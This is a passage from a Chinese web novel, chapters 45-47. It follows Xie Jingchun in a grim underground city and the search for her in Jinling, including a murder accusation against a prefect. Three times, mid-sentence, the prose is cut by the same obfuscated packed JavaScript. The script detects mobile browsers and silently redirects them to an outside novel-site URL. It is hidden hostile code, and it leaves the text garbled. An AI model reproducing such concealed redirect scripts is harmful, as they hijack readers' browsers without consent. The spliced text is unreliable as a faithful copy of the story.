谢惊春伤口才刚刚结痂,刚才摔倒举包又摩擦出血来,她没察觉,现在女孩指甲突然刮到,疼得轻嘶出声。 “你受伤了?!”阿春惊呼,“我们走快些吧,用天赐水洗洗就好了。” “好。” 几分钟后,终于能看到丝丝灯光,好像是又回到了那条街。 一辆马车徐徐经过,六驾齐驱,黑白棕红,毛色光鲜亮丽,四方銮铃一串又一串,锦布一叠又一叠,装饰的截截布穗晃来晃去,轿子错彩镂金,光艳华丽。 “惊春姐姐,快跪下……” 阿春如临大敌,赶紧拉着惊春和阿夏跪了下来。 这架势,谢惊春知道肯定是什么贵人,没有丝毫犹豫就跟着两姐弟跪下,学着他们将头埋得低低的。 石缝里传来一股臭味,谢惊春的鼻子都快怼到缝里,她忍得快吐泡沫,差点呕出来。 可那马车完全不似刚才看见的那些,六驾驾悠哉悠哉,但走的每一步都像是精心丈量过,銮铃声很小,叮叮声绵绵细细,点点清音隐约带着压迫感。 等了好半天,六驾才走远。惊春揉了揉酸胀的膝盖,差点没站起来。 这一天天的,怕是进了水逆期,受到的伤害太多了。 “阿春妹妹,他是谁啊?是你们这个地方的主儿?” 阿春摇了摇头:“他每回来,街上人都会下跪,我也只是听其他人说的,说是上面的王爷。” 谢惊春听懂似地点点头:“话说,你们这地方叫什么?” “叫这个——”阿春指着一块牌匾,一字一字地念:“登、仙、大、道!” 树立在她们面前的,是一个气势恢宏红的牌坊,门头雕梁画栋,丹楹刻桷,漆红的梁柱上写着一副对联。 上面的字用的是云篆和刻字描金的手法,在璀璨的灯夜中犹如符光闪闪。 “天地同寿长生府,日月同光无极宫。”谢惊春又昂头望着高耸的牌匾,“横批,登仙大道。” 阿春低声自言自语:“原来两柱字是这么读啊,我一直就听别人说登仙大道登仙大道,我才认得匾上字。” 谢惊春侧身回头,大街长而无际,越前走灯笼越多,便越亮堂,像是追逐太阳,看起来真的很像登仙大道。 “这里特别滑,惊春姐姐不能再滑倒了。” 出了大红门,又开始暗了下来,还能听见滴水声。 “就是这里了。” 45. 登仙大道(二) 一块奇异的石头突兀地摆在路中间,被绣红的粗铁链捆了几重,上面红色的「天赐河」三个大字,尚能依稀辨认。 这里很像洞穴,可是周围没有洞壁,只有几块像是乳石的东西围成一个圈。 谢惊春小心翼翼地走近几步,看见洞穴中间开出一圈小潭,渺不足道的光亮只洒在潭面那小块区域。 潭面上长了一堆绿色湖萍,谢惊春只记得这些东西是专门捞来给鸭子吃的,而且一般水质差的地方会长得更多。 她扒着石头,蹲下去闻了闻,果然有一股死水的臭味,恰巧此时一滴不知哪里的污水滴在头上,她感觉那一块的头皮都要烂了,连蹦带跳地跑开。 “这……这水能喝吗?” 他们管这个叫天赐河,还喝它?! 谢惊春脑补出里面一堆寄生虫游窜的画面,心理防线被打破,她捂着嘴巴就想哕,可胃里没什么东西,只呕出一溜嗳气。 “怎么不能喝?刚来的小猪?不喝就等死吧!” 黑暗中几人的咒骂声传来,他们翻了翻身,谢惊春这才看见旁边围了一圈人,只是他们自始至终都没发出动静,一身破烂的衣服和黑暗融为一体。 “想在这里活下去,蛆都得吃,这潭深不见底,不知道死过多少人在里面,有的自杀,有的失足,怕是在底下都能开个地狱府了,哈哈哈哈哈哈——” 一人嘲笑道,其他人也跟着大笑起来。 谢惊春怫然:“你刚说什么?小猪?” “都走投无路到这里了,不是小猪是什么?等过再过几年,你也会变成和我们一样的老猪,睡睡吃吃,有啥吃啥,说不定哪天就睁不开眼了……” “再过几年?我等不了那么久,顶多三天,再不离开我就会死。” 谢惊春说得不假,系统解绑只有三天,三天后系统重新登录绑定,她和路植晏之间隔了千山万水,估计不死也掉一层皮。 “新来的都是这么有志气,把死挂在嘴边,想着离开。离开?你怎么离开?!” 阴暗中的人一个个都看不清面目,好像只是在与空气对话,却引起极度生理和心理不适。 谢惊春一刻也不想待在这里,把头一撩,拉着姐弟两就要走:“我们走。” “不行,惊春姐姐,不喝这里的水就真的没有选择了。”阿春挣开她的手,转身快步舀起一壶水。 人群中的冷哼声如粥沸,又有哀叹和被吵醒的不满声掺杂其中。 谢惊春弄水完全是想给松鼠灌点,它现在很虚弱,身体机能都已超负荷,肯定急缺水。 可就这现在这情况,如果让它直接喝天赐河的水,引起什么肠胃病,只会加剧它的伤势。 “阿春妹妹,你知道哪里有兽医吗?实在没有,给人看病的大夫也行。” “这里没有大夫,只有卖药郎。” “连大夫都没有?” 这看起来这么繁华的地方,居然连大夫都没有!这里的人都不生病的吗? 换个思路想想,这些流浪者生病的概率更大,不过他们明显没钱看病。 她想了想,瘦死的骆驼比马大,便屈服了:“那也行。” 谢惊春感觉一生的力气都会耗尽在此,刚打完一场苦战,又跌跌撞撞走了这么多路,再走下去,脚底板都磨平了。 “惊春姐姐,你的伤……” 谢惊春怕吓着孩子,赶紧将手揣进包里,轻抚过松鼠,它的呼吸变慢了,体温都下降了不少,平时柔顺蓬松的毛打成结。 朦胧中的松鼠费劲力气蹭了蹭她的掌心,告知她自己还活着,不要太过担心。 她深呼气,悄然转了转脚脖子,逼着自己重新打起精神:“小伤而已。虽然很不好意思,但是能不能麻烦你再带我去卖药郎那儿?” “没问题,我就住在那儿。” 那太好了,毕竟麻烦了别人这么多,她又没啥东西可以回馈。 街上铃声渐渐消匿,原本挤在两旁的摊贩像是押准了时间般,纷纷大胆抢占了马道。 几人这次没走黑黢黢的小巷,直接走的街道,突然空出的大空间,又是顺人流,她们走起来方便多了。 杂耍卖艺,各色幌子。 谢惊春注意到,每家店铺前都会挂两个幌子,一个是店铺名字,一个是升得更高的……怎么说,应当是宣传语。 什么「与天齐乐」「与地比寿」「日月昭昭」「无量神通」,诸如此类。 “人都活不下去,还给畜生买药,想瞧一眼是啥畜生都不给瞧,真是怪人。” 卖药郎的额头和下巴被破布蒙得紧紧的,看不清具体面容,一听到谢惊春是买给动物治病的药时,动作和语气都怠慢无比,只将几个黑色药丸用脏兮兮的油纸包起,伸手往外一递:“十文。” 谢惊春甚至不相信自己的耳朵,水一两一碗,药丸十粒才十文,这里的物价简直倒反天罡。 “我只有一两,能找吗?” “我看看。” “啧,不行,找不开。”卖药郎粗略地翻了钱箱,随后一脸不耐烦。 谢惊春将自己身上摸了一遍,最后将手镯褪下来:“这个呢?” 这个是自己买的,因为是镀银所以没花多少钱,当掉也不是很心疼。 卖药郎拿起左右看了看,嫌弃地说:“镀银?二文,呐。” 两颗药丸被扔了出来,还好惊春虽然没力气,但反应速度还在,她单手接住药丸,生气地说:“什么人啊?” 算了算了,先拿着药,救小松鼠要紧。 “惊春姐姐,我们到家了。姐姐刚来,肯定没有安身之所,要不来我们家?” 因为齐怀金,惊春现在有些草木皆兵,生怕让松鼠见到人,也不想给帮了自己这么多的小孩添麻烦,她摇了摇头:“谢谢你们的好意,但是我还有事,你们先回家吧。” “嗯好吧……我们就住在这里面,那姐姐要是有什么想问的,直接来问我就可以。”阿春指了指巷子里的一个破草屋。 “对了,这是我刚刚舀的水,姐姐还是留下吧,万一会用到。” 女孩目光殷切,害怕被拒绝的眼睛里蕴起水汽,谢惊春顿了一会儿:“那我收下了,谢谢你们的好意~” 她们在巷口分道扬镳。 “等等!”谢惊春突然跑过去,将自己别在脑后绿色蝴蝶发卡取下来,将女孩挡住半边眼睛的刘海夹起来,“送给你,希望别嫌弃。” 女孩错愕地摸了摸,羞涩一笑,小虎牙亮晶晶的:“谢谢姐姐,姐姐再见。” 谢惊春摸了摸她们的脑袋,挥挥手:“嗯,再见。” 目送姐弟俩离开,谢惊春转身挤过人群,找到一处没人的小弄,拿出虚弱的小松鼠。 “不行,还是要水。” 想到这里,谢惊春来到写着「与天同乐」的卖水铺前。 和天赐湖相比,这里的水算得上是纯净水了。 “碗不能带走。” “我一会就还。” “不行。” 卖水人态度坚决,没有商量的余地。 谢惊春身上没有装水的东西,唯独阿春给的壶好像能用。 直接把里面的水倒掉吗? 顾不了那么多了,谢惊春走了两步将壶中水全部倒掉,彻底甩净。 壶小碗大,装满后还剩一口,她直接一口闷,鼓着腮帮子找了个隐蔽的地方。 喝了半口,吐半口在右手上。 先将药丸嚼碎,塞到松鼠嘴中,再小心翼翼地将水倒在掌心,她手聚得拢拢的,生怕浪费了一滴。 小松鼠奄奄一息,脑袋靠在她的手腕上,闭眼用舌头舔水,每一个动作都异常艰难,好像耗费全力。 喝完水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403693|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它便睡了过去。 谢惊春这才处理起自己右手的伤口,狭长的伤口因为多次拉扯,结痂又流血,流血又结痂,一层一层包裹,血已经凝固成黑色,借着街灯看过去像是毒蛇,无比狰狞。 她全程咬牙切齿,用裙角擦了很多遍,疼得汗如雨下,才将血擦干净。 街上依旧喧闹无比,不知挨到几更天,谢惊春开始有了困意。 谢惊春是被冷醒的,周围依旧黑漆漆,登仙大道上的喧扰之声小了许多。 怀中的小松鼠依旧睡着,气息有所好转,但不容乐观。 她扯了扯后背黏住的衣服,寒意从脖颈直冲尾椎,控制不住地抖了抖。 现在她更加确信自己来到了很远很远的地方,明明金陵城还热着,而这里的温度却突然下降这么多。 身上衣服破破烂烂,血痕一道又一道,脸上也是脏兮兮的,和路边乞丐无异。 谢惊春站起身,脑海一阵眩晕。 她来到当铺,取下金腰链和身上一切值钱的东西。 当铺老板的上半张脸被挡板遮蔽,他随意倒弄着那些饰品,居高临下的目光却一直停留在谢惊春的肩头:“我看你身后剑不错,或许能值几个钱。” 谢惊春斩钉截铁道:“这个不行。” 这剑是原主小时候挑的,带在身上那么多年,她认为自己没权利处置,再加上用了这么久,她和金樽也算是有点感情。 “那你自己小心点,千万别弄丢了,看见没,那里,还有天赐河的臭渣滓,最喜欢你这样年轻的女孩。” 他说完,将谢惊春上下打量了一番。 虽然看不见,但总感觉被冒犯凝视的谢惊春心中很不舒服。可人生地不熟的,又不知对方什么实力,贸然争执实属下策。 然而他说的话,谢惊春倒也不是一点没听。 一路走过来,路上的女孩子确实很少,这让她心中隐隐不安,想买件便宜干净衣服穿的心思也彻底溜了个干净。 现在的她,没有系统,身边一个熟识之人都没有,陪着她的,只有一把剑和一松鼠。 她迈着沉重的步伐继续往前走,时不时察看一下松鼠的状况。 这里太过陌生,她必须抓紧时间多多了解。 “驾!” 不远处,马蹄踏地之声愈来愈近,谢惊春低着头,连忙跑得远远的。 这时,头顶传来一道沙哑的声音:“是你刚才问今日是什么日子的?” 谢惊春抬头。 男子个子不高,再加之背部略微佝偻,看起来也不比她高出多少。 他手中拿着上霉的竹竿,一瘸一拐,衣衫褴褛,手脸都被血红的布条包成了木乃伊,根本看不清面容,只露出两只细小晦暗的眼睛。 谢惊春站起身,脚上做好准备随时跑走的动作。 她不明所以地点点头,像小鸡啄米:“昂,请问有什么事吗?” “今日六月十四。” 谢惊春心中讶异,陌生男子突然跑过来告诉她日期,有些出乎意料。 她颔首:“谢谢。但请问你是如何知道的?我看这里的人似乎都不知道时间。” 男子没有直面回答她的问题,而是轻飘飘地问了一句:“新来的?” 他说起话来好像很费力,说了三句便开始咳嗽。 缓了一会儿,他那干涸的喉咙才再次发出声音:“这里很少放女子进来,反正就我来的这两个多月里所见,目前你是第一个新面孔。” 这里到底是什么地方?什么叫「放」女子进来?听起来像是监狱一般。 “这位公子,那你知道这里离金陵到底有多远吗?” 血色布条后的瞳孔悄然收缩,不止是为了久违的「公子」称呼,更是为了鲜少听到的金陵二字。 他激动地抓住惊春的肩膀:“金陵?你也是金陵人?” 46. 登仙大道(三) 见他反应这么大,谢惊春连退了好几步:“那倒不是,但我是从金陵到此地的,难道……公子是金陵人?” 男子握着竹竿的手紧了紧,他低着头,一声不吭。 “公子?” 渐渐地,他竟然顺着竹竿蹲了下来,整个人勾成虾状,低低抽泣起来。 谢惊春浑然不知发生了什么,安慰的手滞在半空中。 “对,我是金陵人氏。” 他捂着脸,本就含糊的声音中还带着颤抖,谢惊春仔细听了一番,又在脑海中翻译一遍才将他的话听懂。 “可你怎么会在这里?” “我是被绑架至此,又遭火焚才会落得现在人不人鬼不鬼的模样。” 火焚,看他的模样烧伤程度应当十分严重,这里连大夫都没有,他能活下来,绝对可以看出此人的意志力很强大。 谢惊春问:“难道你得罪过什么人?” 男子颤颤巍巍地靠墙而立,渐渐从自己的情绪中脱离出来:“我不敢自居圣人,但自问可担起一个贤字。” 他看着惊春,话锋一转,突然说道:“我奉劝你一句,之前与你同行的姐弟俩,并不是你所想象的那么单纯。他们当时可是想偷你的金腰链,只是失足踩了你的鞋,后又不肯罢休,想通过接近你再寻机会。” 谢惊春沉默半晌,淡淡说道:“我知道。” 她腰部敏感,加之腰链缠法繁复,究竟是误触还是想拽下来,她倒是能感觉出来的。 男子看着她,惊诧之色溢于言表。 他左手被绷条缠得紧,不好攥握,只能虚虚抱拳:“君子以德服人,你是个女君子。” 谢惊春笑了笑,别扭地回了一礼。 她倒也不是君子,只是单纯地想赌一把,想在陌生之地,得到些许可靠消息。 “对了,请问你的名字是什么?我叫谢惊春。” “松……”男子顿了顿,“松玠。” 谢惊春不疑有他:“松公子,你知道这里到底是什么地方吗?距离金陵大概有多远?” 松玠抬手:“马车需走十二日。” 十二日?!可两日后,系统就要重新绑定,她根本来不及找到路植晏。 “据我所知,往北十二日到群山关,往东十二日,到京城长安,若途中转向又至何处,我尚不知。” 「他每回来,街上人都会下跪,我也只是听其他人说的,说是上面的王爷。」 阿春的话回荡在脑海。 王爷,应当是在长安的吧。 可好歹是京城,物价如此虚浮可以理解,但是有些过于离谱了。 头顶的明灯还在发光发热,抬头看过去甚至觉得刺眼,一般人都会赶紧收回视线,根本看不清这些灯的上方是什么。 谢惊春的眼睛产生隐隐痛觉,她才低下头,回想起天赐河的暗光,萌生出这样的想法:“这里应当是地下城吧……” “嗯。”松玠有些意外,“这么快便知道了?” “主要是天赐河,我去的时候发现上面有个洞,早该猜到的,脑子糊涂了。” 松玠一愣。 这从金陵而降的妙龄女君子,恭敬有礼,并没有因为他的外貌就冷眼相待,看起来接受能力也挺快,比松玠见过的好些新下的男子还要冷静。 谢惊春若是知道他所想,定会说:其实一开始见到你,是有点想跑的啦。 “是。” 松玠继续道:“离家不远处有一寺庙,所以对洪钟声以及所代表的时辰比较熟悉,很多寺庙每月十五会多敲一声重音。 我于四月三日被绑架,十几日后听到有寺庙洪钟中多敲了一声重音,大约两个时辰后,我就在身处地下城,所以那日应是四月十五。 而我发现天赐河每到初一十五,就会有「壁颤」,这里人的称之为「开天」。” 谢惊春摇摇晃晃,但还是强撑着:“何为开天?” “我也不太清楚,就是土壁上会滚落些细小土块,他们觉得只要「壁颤」久了,说不定哪天这里就会塌,那时便是真正的「开天」。”松玠道,“有点可笑,不过是滚落些土块而已,他们也是自我安慰罢了。” 谢惊春迷迷糊糊地点头。 松玠关心道:“女君子,你还好吗?” 他一口一个女君子,让谢惊春听着怪别扭的。 有一种被夸奖过度的感觉。 她摸了摸晕乎乎的脑袋,摆了摆手:“松公子,我没事。要不你之后还是叫我惊春姑娘吧……” 松玠还是有些担忧:“女君子,你真的没事吗?” 话音刚落,谢惊春差点一个踉跄摔倒,她甩了甩脑袋,却发现脑中所有神经都要炸开了一般。 整张脸像是蒸笼中的包子,渐渐被蒸出红晕。 她发烧了。 在当阳那么累她的身体都没出问题。 反噬内伤刚好点,如今手上又是剑伤,长时间没有摄入生命源泉,身体不出问题才怪。 她抹了把脸:“没事,我去天赐河,「壁颤」能被注意,说明就是一种规律。今天十四,过不了多久就是十五,我去看看开天的天赐河是什么样。” 松玠犹豫了一会:“我与你同去。” 没有拿乔,谢惊春含糊地应了一声。 不是说她有多信任面前这个人,而是她觉得对方就算想跟上来,她也没什么力气逃跑。不如赌一把,万一自己晕倒了,万一对方真是个善人,还可以救她一命。 一路上,她感觉自己快要飘起来,路线越走越歪。 真是屋漏偏逢连夜雨,她只希望早点离开这个鬼地方。 也妄想着路植晏闪现出现在自己身边,这样她就不用担心系统重新登录后,她到底会面临什么了。 可惜,这似乎并不现实。 只能走一步看一步。 他们来到天赐河,谢惊春站在外围,想找个合适的位置等。 若不是长街上的那些明亮灯光的可怜兮兮的映照,这里几乎是伸手不见五指。 “是你?你怎么又来了?” 这声音,不就是之前来时怼惊春的那个人? 谢惊春看向声音的方向,不知道如此漆黑麻乌,对方是怎么认出自己的。 “你方才不是还说,你要离开吗?”那人对谢惊春依旧持鄙夷的态度,连同周围的人,似乎也逐渐认出她。 “我要看开天。” “可惜,你等不到了。” 谢惊春不解:“何意?” “因为已经开过了,两三个时辰前,这里有了迄今为止最大的一次「开天」。” 谢惊春细瞧了地面,又用鞋子搓了搓,发现地上果然落了很多土块,走起来还有点硌。 松玠自言讶道:“难道我记错了,今天才是十五?” 谢惊春仰头木讷地叹了口气,蹲下身后摸了摸自己的额头,又摸了摸松鼠,手垂在膝盖前,低着头,懒得再多想,甚至懒得离开。 准确来说,她不知道该怎么做,怎么离开。 从穿过来之后,除了睡觉,她还是第一次脱离路植晏,在陌生的地方待这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411877|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么长时间。 她只是不想毫无目标。 所以其实她对什么开天也不是很感兴趣,却在心中给自己一个暗示,开天很重要,你要等,它是你的目标。 “你的剑不错。” 透着无奈的聒噪中,突然有人蹦出这么一句话。 谢惊春垂下的眼皮一展,她从背上取下金樽,发现它居然在黑夜里散发着耀眼光芒,如夏日湖面波光,粼粼闪烁。 她举剑,剑面映射出她的脸。 这么亮,难怪那些人还认得自己。 尽量将那些不太友好的话语从耳边筛除掉,谢惊春问:“我想问一下,你们是怎么进来的?” 人群一瞬噤声。 没有人知道自己是怎么进来的。 不是失去记忆,只因为有些人是被人打晕带进来,有的人是被蒙上眼睛送进来的,有些人是直接被剜去双眼,捣聋耳朵。 带着万分的恐惧,数不清多少时日或年月,活下来的人逐渐麻痹。 没有人回应惊春,他们也不再仰头看着,只回归到自己湿淋淋的位置,靠着坚硬的墙壁,继续睡觉。 谢惊春忽然想起什么,费力地撑起身子。 松玠赶紧帮她,她拉着松玠走了几步,悄声说道:“登仙大道的马车……他们的目的地又是哪儿?又是从何处来?我们如果能跟着那些马车,是不是就会……” 松玠思索了一会,像是下了某种决定,坚定道:“我虽不知那些马车从何处而来,但我知道,他们的目的地是哪儿。” “是哪?” “登仙大道尽头,仙市。”松玠的目光逐渐变得狠厉,“仙市专卖丹药,那里丹药又分上仙品,中仙品,下仙品。其中除了下仙品,其他的丹药都不可以流出仙市。” 谢惊春想起卖药郎给自己的那些药丸,恐怕就是所谓下仙品。 可这些都无所谓了,她更想知道的是,马车从何而来? 特别是六驾的王爷,一定是住在上面的。跟着他,或许有几分出去的希望。 但松玠很快打破了她的念想:“女君子,我劝你不要这么做。我曾跟过一辆马车,你知道他们是怎么回去的吗?” 他顿了一下:“他们消失了。” “消失?!” “对。”松玠指着出天赐河黑洞洞的右方,“一直往前走,大约过三里地,就会出现一个巨大的湖镜。我曾眼睁睁看着他们穿过去,没了身影。” “长安城为何会有如此神秘的地下城?”谢惊春忍着头疼,“那你怎么没跟着穿过去?难道是,那湖镜会人脸识别?” 松玠大约听出人脸识别是什么意思,回答道:“是,可又不仅如此。跟着马车是很多人都能想到的,但据我所知,迄今为止,能跟着马车到达镜湖边的,只我一个。” 其实想想也是,若人人都能出去,还会有这么多「乞丐」吗? “听说一旦被发现跟着马车,就会被扔进丹炉,死无全尸。我那日能跟着去,实属运气好。” 谢惊春:“丹炉?炼丹……是不是就是供应仙市的丹炉?” 松玠握紧手中棍,盯着登仙大道,默认了。 谢惊春撑着石壁,长叹一声,热浪滚滚。 这下难办了,开天也没什么线索,本以为可以跟着马车出去,也不过是痴心妄想。 她突然萌生了自己必死的想法。 当前的身体状况,地下城的环境,包中孱弱的松鼠,还有未知的系统设定,都让她感觉生命告急。 可这种感觉,她并不陌生。 47. 登仙大道(四) 路植晏星飞电掣般地往城东明满巷赶,他想起来他要问的问题。 只是他在路上遇到了赵无悲。 赵无悲从东街的方向回来,他跑得上气不接下气,额头流了很多汗,看到路植晏,他急忙跑上去:“路兄,谢姑娘不见了。” 路植晏陡然停住:“不见了?” “是我师父,他发现了黄毛的存在,非要谢姑娘交出黄毛,谢姑娘不肯,随后他们就出了府……” 路植晏气息重了些:“随后呢?谢惊春人呢?” “我出了门便没见他们,只看到东街有打斗痕迹,可依迹而寻,什么也没找到。” 赵无悲垂首,流露出愧疚之意。 路植晏当即收敛他念,感受着惊春的方位。 可这一次,脑海中没有任何波动。 至今都没有找到原因的奇妙感知就这样消失了。 “怎么会……” 怎么会一点感觉都没有? 他再试一遍,结果依旧如此。 路植晏脸上逐渐染上躁意和无措,他望了一眼天,又盯着地面快速思索着。 他问旁边的赵无悲:“齐怀金人呢?” “我……”赵无悲一时哑言,“我也没找到他。” 两人找了许久,连同刺史帮忙派出的零散府兵和赵无悲找的几个捉妖司朋友,最后却一无所获。 捡起地上的腰牌,路植晏看着空荡的前方。 谢惊春人间蒸发了。 不过来金陵几日,不过是离开她半个时辰,她就这样凭空消失了。 “齐怀金。”路植晏捏紧齐怀金的腰牌,手指敲击桌面,一声一声如心跳。 赵无悲走来走去,他像是安慰自己又像是安慰路植晏,在一旁说道:“明日,明日定能找到!” 路植晏沉默不语,但烦躁的心绪几乎从身体里溢出来。 “惊春失踪了?!” 宋如遇猛地推开门,气喘吁吁。 路植晏抬眼,但立刻又垂了下去。 明知试了好几次,他都无法感知谢惊春的方位,可他还是下意识地屡次凝神。 赵无悲说道:“宋小姐切莫心急,我们……” 宋如遇秀美的脸蛋上尽是不可置信:“她还能去哪儿?还能离了金陵城不成,总不能上天遁地……” 路植晏手指蓦地一停。 遁身环。 事情更加难办了。 他站起身。 “哎哎,路兄,你去哪儿?” “去找你师父。” 宋如遇立刻主动请缨:“我也去。” 路植晏道:“宋小姐还是不要添乱了。” 如一根刺扎进肉里,宋如遇一愣,面上委委屈屈。 赵无悲忙打圆场:“路兄不是这个意思,宋小姐放心,我们去去就来。” “你也不要跟去。”路植晏说完,干脆利落不作停留。 徒留二人原地呆滞。 路植晏一个人再度来到刺史书房。 宋括屏退下人:“路指挥使,有何要事?” 路植晏站在门口,半身在明,半身在暗,投下一片颀长的阴影,看不清神色:“宋大人,在下一直有个疑惑。” “哦?什么疑惑?” “我想问大人,人死一月,尸体会成什么样子?” 降真香在案上慢慢燃烧,杳渺青烟将宋括的脸分成了两半。 他拿起笔,停在半空中,面露疑色,不太明白路植晏此问何意:“自然是腐烂不堪,再过些日子,便会只剩骨架。” “在下还有一惑。” “请讲。” 路植晏纹丝未动:“世有邪法,可令人起死回生,不知大人是否知其真假?” 宋括一愣,缓缓放下手中笔,最后啪的一声,扶膝起身,侧站避开路植晏的影子:“指挥使何意?” “在下说过,要破金陵案,需要刺史大人的配合。若有得罪之处,还请大人海涵,一切水落石出之后,在下定会亲自请罪。” 宋括叹了口气:“之子归穷泉,重壤永幽隔。若真有起死回生之法,我也不会活得这么痛苦了。” “那便是没有?”路植晏叉礼,“多谢大人解此二惑。” * 宋如遇在房间里踱步,宽大的粉色衣摆如水波在地面荡来荡去。 好不容易碰到一个同道中人,谢惊春若是死了,她又得孤军奋战,不知何年何月才能完成任务。 她不明白为什么谢惊春那般嘱咐,让她一定要在今日验齐怀金,可齐怀金现在连影子都没有。 宋如遇咕噜咕噜喝了几口凉水,猛喘了几口气,让自己好好想想谢惊春若真出了意外,她接下来要该怎么办。 谢惊春,杀过人。 这个念头蓦地再次钻入脑海。 那她到底是穿到这个世界杀的,还是在穿之前杀的? 虽然不管是哪种情况,都已经坐定谢惊春是杀人犯。但她们同是来自律法严明的现代,若是穿之前杀的,宋如遇会更加发怵。 可是,看她的样子实在不像。 如果她一脸无害的模样是装的,那实在是太恐怖了。 谢惊春会不会是正当防卫,迫不得已杀的人?那她……到底经历了什么? 而且她说过她还是个学生,就算是正当防卫,其中勇气与心理素质,已经超出常人太多。 宋如遇从花园走过,正看到齐怀金气势汹汹,大摇大摆地走在廊下,满脸怫然,戾气围绕全身,仿佛下一刻就要将所有房屋砍倒。 “齐怀金……” 宋如遇狐疑,赶紧躲了起来,又看了一眼确认是齐怀金后,她立刻按照惊春的叮嘱,准备开眼验他。 齐怀金体形宽大,但心思实则敏锐,他觉察到异样,刹住脚,忽然朝着宋如遇躲藏的方向看过来。 宋如遇吓得连忙缩回脑袋,还不忘将自己的裙摆收起来。 “宋大人?”齐怀金手从剑上放下。 宋括转过头:“齐司使。” “宋大人,可看见路小兄弟?” 宋如遇再度睁开眼,看到的却是宋括站在她和齐怀金之间。 “听说谢姑娘失踪了,路指挥使昨夜寻她,只是尚未寻到。” 齐怀金点点头:“令嫒呢?” “我正要去找她呢,今日十五,正好带她去灵安寺祈福。” “那刚巧,下官也想去,不若同行?” “如此甚好,那齐司使稍等片刻。” 宋括抬脚就要往西院来,宋如遇这才从震惊中抽出魂来,赶紧起身往回跑,几番跌跌撞撞,顾不得看着脚下,踩着低矮的丛花操近路,如浅浅荷花般的裙裳被荆棘划破,沾染上紫黑色的花汁。 听着脚步越来越近,就要拐过墙角,宋如遇停下,装作踱步途经。 “如遇,快收拾收拾,随我和齐司使一同去灵安寺。” “是,爹。” 宋如遇换了件衣裳,坐在铜镜前拍了拍自己的脸。 她刚才没能验到齐怀金,阴差阳错验了宋括。 三。 漂浮在宋括头顶的数字,她不会看错。 对,这个看起爱妻怜子,兢兢业业,清廉持简的刺史居然亲手杀过三个人。 根据原主的记忆,刺史爹与娘亲伉俪情深,从未与其他女人有染,经常沐浴戒斋,为妻儿求福,事必躬亲,昼无为夜难寐,实在是世间男儿的典范。 但这般审慎从事的男人,会养出宋揭那样恋酒贪花的纨绔子弟。 这般与妻子琴瑟和鸣的男人,会亲手杀人。 从穿到这个世界来,宋如遇只验过四个人。 先是为了试验金手指而随便验的张正,再是日日陪伴她左右的镜儿。 接着就是,谢惊春,宋括。 一半的人手上都沾染了他人鲜血。 这个世界太可怕了,宋如遇想。 她这具身体从小就是典型的闺英闱秀,没有防身的本领,看来若想在这个人与妖具是阴毒的世间活着,她就得比他们,更狠。 宋如遇抬头,镜中人的目光霎时狠厉。 许久,丫鬟来催,她才抹了泪,跟着宋括前去灵安寺。 五月十五辰时,灵安寺。 从正大殿一直到巷口,都是捧着篮子硬往里挤的人,而身后还有源源不断继续涌过来的浪潮,熙熙攘攘的,哪怕近距离说话都难以听得清。 “巷口李六子怎么今天没出摊,害得我还多行了些路才买到香和裱纸。” “不知道呢,我住他隔壁,昨夜他屋头灯一直没亮。” 外面的吵闹声仿佛隔了数里,寺内大家都十分默契地闭口不言。 一进门便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414122|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险些被烟雾缭绕迷了眼睛,檀木香味溢满了整个寺庙。廊檐下系着红色的绦条,在竹帘下的香雾中轻轻摆动。 不远处的洪钟被不紧不慢地撞起来,平添了几分宁静。 “观音殿怎么还关着,还没修好?”攒动的人群中,有人轻声抱怨。 宋括看着空旷的大殿,虽被清扫过,但地上依旧满是灰尘。 “齐司使来这里做什么?住持不是说过,观音像被毁,需紧急修缮,任何人不得进吗?” 齐怀金蹲下身,捻了捻灰尘:“宋大人,令嫒常居闺中,与侍从张正熟悉吗?” “张正追随我有十五年了,如遇虽处闺中,但我去看她时,会带上张正,所以当是熟识。” 宋括满脸凄哀:“唉,只是没想到他会死于妖怪之手。” “宋大人,我送你一份情,宋大人却与我遮遮掩掩,昧地瞒天,是不是不太合适?” 宋括愕然一顿,目光心虚地看向两边横眉怒目,凶猛威武的四大天王像。 齐怀金猛地拽起他的衣襟,圆睁的眼睛近在咫尺,与两边佛像颇为相似:“宋大人,是你,杀了张正。” 相比之下,宋括的身形像只小鸡,清瘦无匹,面对面前大汉的逼问,他吞吞吐吐,一时间被惊得说不出话来。 许久,他才组织好语言,嶙峋青白的脸上终于挤出褶皱,暴起怒气来:“齐司使莫要信口雌黄!佛祖在上,我宋括问心无愧!你以下犯上,不怕我直接命捉妖司撤你的职,拿你问罪吗?!” 